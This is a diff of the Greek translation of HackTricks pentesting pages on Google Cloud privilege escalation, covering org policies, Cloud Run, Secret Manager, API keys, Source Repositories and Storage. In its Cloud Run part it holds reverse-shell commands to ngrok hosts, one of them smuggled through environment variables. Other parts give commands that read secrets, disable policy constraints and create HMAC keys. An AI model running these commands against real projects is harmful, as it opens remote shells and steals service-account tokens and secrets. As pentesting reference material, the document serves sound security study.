@@ -6,7 +6,10 @@
### `orgpolicy.policy.set`
-Ένας attacker που εκμεταλλεύεται το **orgpolicy.policy.set** μπορεί να χειριστεί τις οργανωτικές πολιτικές, επιτρέποντάς του να αφαιρέσει ορισμένους περιορισμούς που εμποδίζουν συγκεκριμένες ενέργειες. Για παράδειγμα, ο περιορισμός **appengine.disableCodeDownload** συνήθως εμποδίζει τη λήψη του πηγαίου κώδικα του App Engine. Ωστόσο, χρησιμοποιώντας το **orgpolicy.policy.set**, ένας attacker μπορεί να απενεργοποιήσει αυτόν τον περιορισμό, αποκτώντας έτσι πρόσβαση για να κατεβάσει τον πηγαίο κώδικα, παρότι αρχικά ήταν προστατευμένος.
+Ένας επιτιθέμενος που εκμεταλλεύεται την **orgpolicy.policy.set** μπορεί να χειριστεί τις πολιτικές του οργανισμού, κάτι που του επιτρέπει να αφαιρέσει ορισμένους περιορισμούς που παρεμποδίζουν συγκεκριμένες ενέργειες. Για παράδειγμα, ο περιορισμός **appengine.disableCodeDownload** συνήθως εμποδίζει τη λήψη του πηγαίου κώδικα του App Engine. Ωστόσο, χρησιμοποιώντας την **orgpolicy.policy.set**, ένας επιτιθέμενος μπορεί να απενεργοποιήσει αυτόν τον περιορισμό, αποκτώντας έτσι πρόσβαση για να κατεβάσει τον πηγαίο κώδικα, παρόλο που αρχικά ήταν προστατευμένος.
+
+
+Λήψη πληροφοριών org policy και απενεργοποίηση της επιβολής
```bash
# Get info
gcloud resource-manager org-policies describe [--folder | --organization | --project ]
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe [--folder | --or
# Disable
gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ]
```
+
+
Ένα python script για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
-Συνήθως δεν είναι δυνατό να επισυνάψετε ένα service account από διαφορετικό project σε ένα resource επειδή υπάρχει ένας περιορισμός πολιτικής που επιβάλλεται με όνομα **`iam.disableCrossProjectServiceAccountUsage`** ο οποίος αποτρέπει αυτή τη ενέργεια.
+Συνήθως δεν είναι δυνατή η προσάρτηση ενός service account από διαφορετικό project σε ένα resource, επειδή επιβάλλεται ένας policy constraint με την ονομασία **`iam.disableCrossProjectServiceAccountUsage`** που αποτρέπει αυτή την ενέργεια.
-Μπορείτε να επαληθεύσετε αν αυτός ο περιορισμός εφαρμόζεται τρέχοντας την ακόλουθη εντολή:
+Μπορείτε να επαληθεύσετε αν αυτός ο policy constraint εφαρμόζεται εκτελώντας την ακόλουθη εντολή:
+
+
+Επαλήθευση περιορισμού cross-project service account
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
@@ -31,14 +39,21 @@ booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
-Αυτό αποτρέπει έναν επιτιθέμενο από το να καταχράται την άδεια **`iam.serviceAccounts.actAs`** για να προσποιηθεί έναν service account από άλλο project χωρίς τις επιπλέον απαιτούμενες infra άδειες για να ξεκινήσει, για παράδειγμα, ένα νέο VM, κάτι που θα μπορούσε να οδηγήσει σε escalation δικαιωμάτων.
+
-Ωστόσο, ένας επιτιθέμενος με τα δικαιώματα **`orgpolicy.policy.set`** μπορεί να παρακάμψει αυτόν τον περιορισμό απενεργοποιώντας τον περιορισμό **`iam.disableServiceAccountProjectWideAccess`**. Αυτό επιτρέπει στον επιτιθέμενο να επισυνάψει έναν service account από άλλο project σε έναν πόρο στο δικό του project, αυξάνοντας ουσιαστικά τα προνόμια του.
+Αυτό αποτρέπει έναν επιτιθέμενο από το να καταχραστεί το permission **`iam.serviceAccounts.actAs`** για να πλαστοπροσωπήσει ένα service account από άλλο project χωρίς τις απαραίτητες επιπλέον infra δικαιοδοσίες για να ξεκινήσει, για παράδειγμα, ένα νέο VM, κάτι που θα μπορούσε να οδηγήσει σε privilege escalation.
+
+Ωστόσο, ένας επιτιθέμενος με τα δικαιώματα **`orgpolicy.policy.set`** μπορεί να παρακάμψει αυτόν τον περιορισμό απενεργοποιώντας το constraint **`iam.disableServiceAccountProjectWideAccess`**. Αυτό επιτρέπει στον επιτιθέμενο να επισυνάψει ένα service account από άλλο project σε έναν πόρο στο δικό του project, ανεβάζοντας ουσιαστικά τα προνόμιά του.
+
+
+Απενεργοποίηση του περιορισμού που αποτρέπει τη χρήση service account από άλλο project
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=
```
+
+
## Αναφορές
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
index 807b7a2e5..4a651819f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
@@ -4,7 +4,7 @@
## Cloud Run
-Για περισσότερες πληροφορίες σχετικά με το Cloud Run, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Cloud Run δείτε:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,15 +12,18 @@
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
-Ένας επιτιθέμενος με αυτές τις άδειες να **δημιουργήσει μια υπηρεσία run που εκτελεί αυθαίρετο κώδικα** (αυθαίρετο Docker container), να συνδέσει μια Υπηρεσία Λογαριασμού σε αυτήν και να κάνει τον κώδικα **να εξάγει το token της Υπηρεσίας Λογαριασμού από τα μεταδεδομένα**.
+Ένας επιτιθέμενος με αυτά τα permissions μπορεί να **create a run service running arbitrary code** (arbitrary Docker container), να επισυνάψει ένα Service Account σε αυτό, και να κάνει τον κώδικα να **exfiltrate the Service Account token from the metadata**.
-Ένα σενάριο εκμετάλλευσης για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) και η εικόνα Docker μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
+Ένα exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) και το Docker image μπορεί να βρεθεί [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
-Σημειώστε ότι όταν χρησιμοποιείτε `gcloud run deploy` αντί να δημιουργήσετε απλώς την υπηρεσία **χρειάζεται η άδεια `update`**. Ελέγξτε ένα [**παράδειγμα εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
+Σημειώστε ότι όταν χρησιμοποιείτε `gcloud run deploy` αντί να δημιουργήσετε απλώς την υπηρεσία **it needs the `update` permission`**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
-Όπως η προηγούμενη αλλά ενημερώνοντας μια υπηρεσία:
+Όπως το προηγούμενο αλλά ενημερώνοντας μια υπηρεσία:
+
+
+Deploy Cloud Run service with reverse shell
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
+
+
### `run.services.setIamPolicy`
-Δώστε στον εαυτό σας προηγούμενες άδειες πάνω στο cloud Run.
+Χορηγήστε στον εαυτό σας δικαιώματα στο cloud Run.
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
-Εκκινήστε μια εργασία με ένα reverse shell για να κλέψετε τον λογαριασμό υπηρεσίας που υποδεικνύεται στην εντολή. Μπορείτε να βρείτε ένα [**exploit εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
+Εκκινήστε ένα job με reverse shell για να κλέψετε το service account που υποδεικνύεται στην εντολή. Μπορείτε να βρείτε ένα [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
+
+
+Δημιουργία Cloud Run job με reverse shell
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
+
+
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
-Παρόμοια με την προηγούμενη, είναι δυνατόν να **ενημερώσετε μια εργασία και να ενημερώσετε το SA**, την **εντολή** και να **την εκτελέσετε**:
+Παρόμοια με το προηγούμενο, είναι δυνατό να **update a job and update the SA**, να αλλάξετε την **command** και να την **execute**:
+
+
+Ενημέρωση Cloud Run job και εκτέλεση με reverse shell
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
+
+
### `run.jobs.setIamPolicy`
-Δώστε στον εαυτό σας τις προηγούμενες άδειες πάνω από τα Cloud Jobs.
+Χορηγήστε στον εαυτό σας τα προηγούμενα δικαιώματα σε Cloud Jobs.
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
-Καταχρήστε τις μεταβλητές περιβάλλοντος μιας εκτέλεσης εργασίας για να εκτελέσετε αυθαίρετο κώδικα και να αποκτήσετε ένα reverse shell για να εξάγετε τα περιεχόμενα του κοντέινερ (πηγαίος κώδικας) και να αποκτήσετε πρόσβαση στο SA μέσα στα μεταδεδομένα:
+Καταχραστείτε τα env variables μιας εκτέλεσης job για να execute arbitrary code και να αποκτήσετε ένα reverse shell για να dump τα περιεχόμενα του container (source code) και να έχετε πρόσβαση στο SA μέσα στα metadata:
+
+
+Εκτέλεση Cloud Run job with environment variable exploitation
```bash
gcloud beta run jobs execute job-name --region --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
+
+
## Αναφορές
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
index a15a763f7..ee8c43735 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
@@ -12,12 +12,16 @@
### `secretmanager.versions.access`
-Αυτό σας δίνει πρόσβαση για να διαβάσετε τα μυστικά από τον διαχειριστή μυστικών και ίσως αυτό θα μπορούσε να βοηθήσει στην κλιμάκωση των δικαιωμάτων (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο μυστικό):
+Αυτό σας δίνει πρόσβαση να διαβάσετε τα secrets από τον secret manager και ίσως αυτό να βοηθήσει να escalate privielegs (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο secret):
+
+Λήψη clear-text έκδοσης του secret
```bash
# Get clear-text of version 1 of secret: ""
gcloud secrets versions access 1 --secret=""
```
-Καθώς αυτή είναι επίσης μια τεχνική μετα-εκμετάλλευσης, μπορεί να βρεθεί σε:
+
+
+Εφόσον πρόκειται επίσης για τεχνική post exploitation, μπορεί να βρεθεί στο:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret=""
### `secretmanager.secrets.setIamPolicy`
-Αυτό σας δίνει πρόσβαση για να διαβάσετε τα μυστικά από τον διαχειριστή μυστικών, όπως χρησιμοποιώντας:
+Αυτό σας δίνει πρόσβαση να διαβάσετε τα secrets από τον Secret Manager, για παράδειγμα χρησιμοποιώντας:
+
+Προσθήκη IAM policy binding στο secret
```bash
gcloud secrets add-iam-policy-binding \
--member="serviceAccount:@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
index dfafcf371..e4b16965a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
@@ -4,11 +4,11 @@
## serviceusage
-Οι παρακάτω άδειες είναι χρήσιμες για τη δημιουργία και κλοπή API keys, σημειώστε αυτό από τα έγγραφα: _Ένα API key είναι μια απλή κωδικοποιημένη συμβολοσειρά που **ταυτοποιεί μια εφαρμογή χωρίς κανένα κύριο**. Είναι χρήσιμα για την πρόσβαση σε **δημόσια δεδομένα ανώνυμα**, και χρησιμοποιούνται για να **συσχετίσουν** τα API αιτήματα με το έργο σας για ποσοστά και **χρέωση**._
+Οι ακόλουθες άδειες είναι χρήσιμες για τη δημιουργία και κλοπή API keys — σημείωση από τα docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **δημόσια δεδομένα ανώνυμα**, and are used to **associate** API requests with your project for quota and **billing**._
-Επομένως, με ένα API key μπορείτε να κάνετε αυτή την εταιρεία να πληρώσει για τη χρήση του API σας, αλλά δεν θα μπορείτε να αναβαθμίσετε τα δικαιώματα.
+Επομένως, με ένα API key μπορείτε να κάνετε την εταιρεία να πληρώσει για τη χρήση του API, αλλά δεν θα μπορείτε να escalate privileges.
-Για να μάθετε άλλες άδειες και τρόπους δημιουργίας API keys, ελέγξτε:
+Για να μάθετε άλλες άδειες και τρόπους δημιουργίας API keys δείτε:
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,35 +16,43 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
-Βρέθηκε μια μη τεκμηριωμένη API που μπορεί να χρησιμοποιηθεί για να **δημιουργήσει API keys:**
+Βρέθηκε ένα μη τεκμηριωμένο API που μπορεί να χρησιμοποιηθεί για να **δημιουργήσει API keys:**
+
+Δημιουργία API key χρησιμοποιώντας μη τεκμηριωμένο API
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### `serviceusage.apiKeys.list`
-Βρέθηκε μια άλλη μη τεκμηριωμένη API για την καταγραφή των API keys που έχουν ήδη δημιουργηθεί (τα API keys εμφανίζονται στην απόκριση):
+Βρέθηκε άλλο μη τεκμηριωμένο API για την εμφάνιση των API keys που έχουν ήδη δημιουργηθεί (τα API keys εμφανίζονται στην απόκριση):
+
+Λίστα API keys χρησιμοποιώντας μη τεκμηριωμένο API
```bash
curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
-Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να ενεργοποιήσει και να χρησιμοποιήσει νέες υπηρεσίες στο έργο. Αυτό θα μπορούσε να επιτρέψει σε έναν **επιτιθέμενο να ενεργοποιήσει υπηρεσίες όπως η admin ή cloudidentity** για να προσπαθήσει να αποκτήσει πρόσβαση σε πληροφορίες του Workspace, ή άλλες υπηρεσίες για να αποκτήσει πρόσβαση σε ενδιαφέροντα δεδομένα.
+Με αυτές τις άδειες ένας attacker μπορεί να ενεργοποιήσει και να χρησιμοποιήσει νέα services στο project. Αυτό μπορεί να επιτρέψει σε **attacker να ενεργοποιήσει υπηρεσία όπως admin ή cloudidentity** για να προσπαθήσει να αποκτήσει πρόσβαση σε πληροφορίες του Workspace, ή άλλες υπηρεσίες για να αποκτήσει πρόσβαση σε ενδιαφέροντα δεδομένα.
-## **References**
+## **Αναφορές**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
-Support HackTricks and get benefits!
+Υποστηρίξτε το HackTricks και κερδίστε προνόμια!
-Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+Εργάζεστε σε μια **cybersecurity company**; Θέλετε να δείτε την **company advertised in HackTricks**; ή θέλετε να έχετε πρόσβαση στην **latest version of the PEASS or download HackTricks in PDF**; Ελέγξτε τα [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας με αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
-Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+Αποκτήστε το [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
index f255a1810..2e14b024b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Αποθετήρια Πηγών
+## Source Repositories
-Για περισσότερες πληροφορίες σχετικά με τα Αποθετήρια Πηγών ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Source Repositories δείτε:
{{#ref}}
../gcp-services/gcp-source-repositories-enum.md
@@ -12,54 +12,62 @@
### `source.repos.get`
-Με αυτή την άδεια είναι δυνατή η λήψη του αποθετηρίου τοπικά:
+Με αυτήν την άδεια είναι δυνατή η λήψη του repository τοπικά:
+
+Κλωνοποίηση source repository
```bash
gcloud source repos clone --project=
```
+
+
### `source.repos.update`
-Ένας χρήστης με αυτή την άδεια **θα μπορεί να γράψει κώδικα μέσα σε ένα αποθετήριο που έχει κλωνοποιηθεί με `gcloud source repos clone `**. Αλλά σημειώστε ότι αυτή η άδεια δεν μπορεί να προσαρτηθεί σε προσαρμοσμένους ρόλους, οπότε πρέπει να δοθεί μέσω ενός προκαθορισμένου ρόλου όπως:
+Ένας principal με αυτό το δικαίωμα **θα μπορεί να γράψει κώδικα μέσα σε ένα αποθετήριο που κλωνοποιήθηκε με `gcloud source repos clone `**. Σημειώστε όμως ότι αυτό το δικαίωμα δεν μπορεί να επισυναφθεί σε custom roles, οπότε πρέπει να δοθεί μέσω ενός predefined role όπως:
-- Ιδιοκτήτης
-- Συντάκτης
-- Διαχειριστής Αποθετηρίου Πηγής (`roles/source.admin`)
-- Συγγραφέας Αποθετηρίου Πηγής (`roles/source.writer`)
+- Owner
+- Editor
+- Source Repository Administrator (`roles/source.admin`)
+- Source Repository Writer (`roles/source.writer`)
-Για να γράψετε, απλά εκτελέστε μια κανονική **`git push`**.
+Για να γράψετε απλώς εκτελέστε ένα κανονικό **`git push`**.
### `source.repos.setIamPolicy`
-Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να παραχωρήσει στον εαυτό του τις προηγούμενες άδειες.
+Με αυτό το δικαίωμα ένας attacker θα μπορούσε να παραχωρήσει στον εαυτό του τις προηγούμενες άδειες.
-### Πρόσβαση σε μυστικά
+### Secret access
-Εάν ο επιτιθέμενος έχει **πρόσβαση στα μυστικά** όπου αποθηκεύονται τα tokens, θα μπορέσει να τα κλέψει. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα μυστικό, ελέγξτε:
+Αν ο attacker έχει **πρόσβαση στα secrets** όπου αποθηκεύονται τα tokens, θα μπορεί να τα κλέψει. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα secret δείτε:
{{#ref}}
gcp-secretmanager-privesc.md
{{#endref}}
-### Προσθήκη κλειδιών SSH
+### Add SSH keys
-Είναι δυνατή η **προσθήκη κλειδιών ssh στο έργο του Αποθετηρίου Πηγής** στην ιστοσελίδα κονσόλας. Κάνει μια αίτηση POST στο **`/v1/sshKeys:add`** και μπορεί να ρυθμιστεί στο [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
+Είναι δυνατό να **προσθέσετε ssh keys στο project του Source Repository** μέσω του web console. Κάνει ένα POST request στο **`/v1/sshKeys:add`** και μπορεί να ρυθμιστεί στο [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
-Αφού ρυθμιστεί το κλειδί ssh σας, μπορείτε να αποκτήσετε πρόσβαση σε ένα αποθετήριο με:
+Μόλις το ssh key σας οριστεί, μπορείτε να αποκτήσετε πρόσβαση σε ένα repo με:
+
+Κλωνοποίηση αποθετηρίου μέσω SSH
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/
```
+
+
Και στη συνέχεια χρησιμοποιήστε τις εντολές **`git`** όπως συνήθως.
-### Χειροκίνητα Διαπιστευτήρια
+### Χειροκίνητα Credentials
-Είναι δυνατόν να δημιουργήσετε χειροκίνητα διαπιστευτήρια για να αποκτήσετε πρόσβαση στα Source Repositories:
+It's possible to create manual credentials to access the Source Repositories:
Κάνοντας κλικ στον πρώτο σύνδεσμο θα σας κατευθύνει στο [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
-Το οποίο θα σας ζητήσει ένα **Oauth authorization prompt** για να δώσει πρόσβαση στο **Google Cloud Development**. Έτσι θα χρειαστείτε είτε τα **διαπιστευτήρια του χρήστη** είτε μια **ανοιχτή συνεδρία στον περιηγητή** για αυτό.
+Αυτό θα εμφανίσει ένα **Oauth authorization prompt** για να δώσει πρόσβαση στο **Google Cloud Development**. Επομένως θα χρειαστεί είτε τα **credentials του χρήστη** είτε μία **ανοικτή συνεδρία στον browser**.
-Αυτό θα σας στείλει σε μια σελίδα με ένα **bash script για εκτέλεση** και να ρυθμίσετε ένα git cookie στο **`$HOME/.gitcookies`**
+This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
@@ -67,13 +75,17 @@ git clone ssh://username@domain.com@source.developers.google.com:2022/p/Απενεργοποίηση pushblock και τροποποίηση της διαμόρφωσης pub/sub
```bash
gcloud source project-configs update --disable-pushblock
```
-Μπορείτε επίσης να ρυθμίσετε ένα διαφορετικό θέμα pub/sub ή ακόμη και να το απενεργοποιήσετε εντελώς:
+Μπορείτε επίσης να ρυθμίσετε ένα διαφορετικό pub/sub topic ή ακόμη να το απενεργοποιήσετε εντελώς:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
index 96e6a506e..dd3a865d3 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
@@ -4,7 +4,7 @@
## Storage
-Βασικές Πληροφορίες:
+Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,18 +12,18 @@
### `storage.objects.get`
-Αυτή η άδεια σας επιτρέπει να **κατεβάσετε αρχεία που είναι αποθηκευμένα στο Cloud Storage**. Αυτό θα μπορούσε ενδεχομένως να σας επιτρέψει να κλιμακώσετε τα προνόμια σας, διότι σε ορισμένες περιπτώσεις **ευαίσθητες πληροφορίες αποθηκεύονται εκεί**. Επιπλέον, ορισμένες υπηρεσίες GCP αποθηκεύουν τις πληροφορίες τους σε buckets:
+This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
-- **GCP Composer**: Όταν δημιουργείτε ένα Περιβάλλον Composer, ο **κώδικας όλων των DAGs** θα αποθηκευτεί μέσα σε ένα **bucket**. Αυτές οι εργασίες μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες μέσα στον κώδικά τους.
-- **GCR (Container Registry)**: Η **εικόνα** των κοντέινερ αποθηκεύεται μέσα σε **buckets**, που σημαίνει ότι αν μπορείτε να διαβάσετε τα buckets, θα μπορείτε να κατεβάσετε τις εικόνες και **να αναζητήσετε διαρροές και/ή πηγαίο κώδικα**.
+- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
+- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
### `storage.objects.setIamPolicy`
-Μπορείτε να σας δώσετε άδεια να **καταχραστείτε οποιοδήποτε από τα προηγούμενα σενάρια αυτής της ενότητας**.
+You can give you permission to **abuse any of the previous scenarios of this section**.
### **`storage.buckets.setIamPolicy`**
-Για ένα παράδειγμα σχετικά με το πώς να τροποποιήσετε τις άδειες με αυτή την άδεια, ελέγξτε αυτή τη σελίδα:
+For an example on how to modify permissions with this permission check this page:
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -31,7 +31,9 @@
### `storage.hmacKeys.create`
-Η δυνατότητα "διαλειτουργικότητας" του Cloud Storage, σχεδιασμένη για **διασυνοριακές αλληλεπιδράσεις** όπως με το AWS S3, περιλαμβάνει τη **δημιουργία HMAC κλειδιών για Λογαριασμούς Υπηρεσιών και χρήστες**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα HMAC κλειδί για έναν Λογαριασμό Υπηρεσίας με ανυψωμένα προνόμια, έτσι **κλιμακώνοντας τα προνόμια μέσα στο Cloud Storage**. Ενώ τα HMAC κλειδιά που σχετίζονται με χρήστες είναι προσβάσιμα μόνο μέσω της διαδικτυακής κονσόλας, τόσο τα κλειδιά πρόσβασης όσο και τα μυστικά κλειδιά παραμένουν **μόνιμα προσβάσιμα**, επιτρέποντας πιθανή αποθήκευση πρόσβασης backup. Αντίθετα, τα HMAC κλειδιά που συνδέονται με Λογαριασμούς Υπηρεσιών είναι προσβάσιμα μέσω API, αλλά τα κλειδιά πρόσβασης και τα μυστικά κλειδιά τους δεν είναι ανακτήσιμα μετά τη δημιουργία τους, προσθέτοντας μια επιπλέον στρώση πολυπλοκότητας για συνεχή πρόσβαση.
+Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
+
+Create and use HMAC key for privilege escalation
```bash
# Create key
gsutil hmac create # You might need to execute this inside a VM instance
@@ -61,52 +63,54 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
-Ένα άλλο exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
+
-## `storage.objects.create`, `storage.objects.delete` = Δικαιώματα Εγγραφής Αποθήκης
